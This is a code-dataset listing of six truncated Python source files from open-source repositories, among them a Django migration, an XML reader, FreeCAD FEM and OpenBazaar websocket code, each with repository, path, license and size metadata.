# -*- coding: utf-8 -*- # Generated by Django 1.10.2 on 2016-10-05 20:20 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('api', '0001_initial'), ] operations = [ mi...
falcaopetri/enqueuer-api
api/migrations/0002_auto_20161005_1720.py
Python
bsd-3-clause
1,669
#coding:utf-8 import os import xml.etree.ElementTree import collections class ReadXml(object): def __init__(self, directory): # self.brand_dict = {} # self.brand_dict = collections.OrderedDict() read_path = directory if os.path.exists(read_path): self.__load_di...
hailongqiu/new-deepin-media-player
src/format_conv/read_xml.py
Python
gpl-3.0
1,975
from django.db import models from django.db.models import Count, Max, Q, Sum, Case, When, IntegerField, Value from django.urls import reverse # TODO ideally this shouldn't be in the model from django.utils import timezone from django.contrib.auth.models import User from django.db.models import F from django.utils.tran...
p2pu/learning-circles
studygroups/models/course.py
Python
mit
4,653
r""" Base objects (:mod: `qiita_db.base`) ==================================== ..currentmodule:: qiita_db.base This module provides base objects for dealing with any qiita_db object that needs to be stored on the database. Classes ------- ..autosummary:: :toctree: generated/ QiitaObject """ # ------------...
antgonza/qiita
qiita_db/base.py
Python
bsd-3-clause
6,620
import FemGui import FreeCAD import os import time import sys class inp_writer: def __init__(self, analysis_obj, mesh_obj, mat_obj, fixed_obj, force_obj, pressure_obj, dir_name=None): self.dir_name = dir_name self.mesh_object = mesh_obj self.material_objects = mat_obj self.fixed_ob...
cypsun/FreeCAD
src/Mod/Fem/ccxInpWriter.py
Python
lgpl-2.1
18,324
__author__ = 'chris' import json import os import time from constants import DATA_FOLDER from market.profile import Profile from keyutils.keys import KeyChain from random import shuffle from autobahn.twisted.websocket import WebSocketServerFactory, WebSocketServerProtocol from protos.countries import CountryCode from ...
JimmyMow/OpenBazaar-Server
api/ws.py
Python
mit
13,034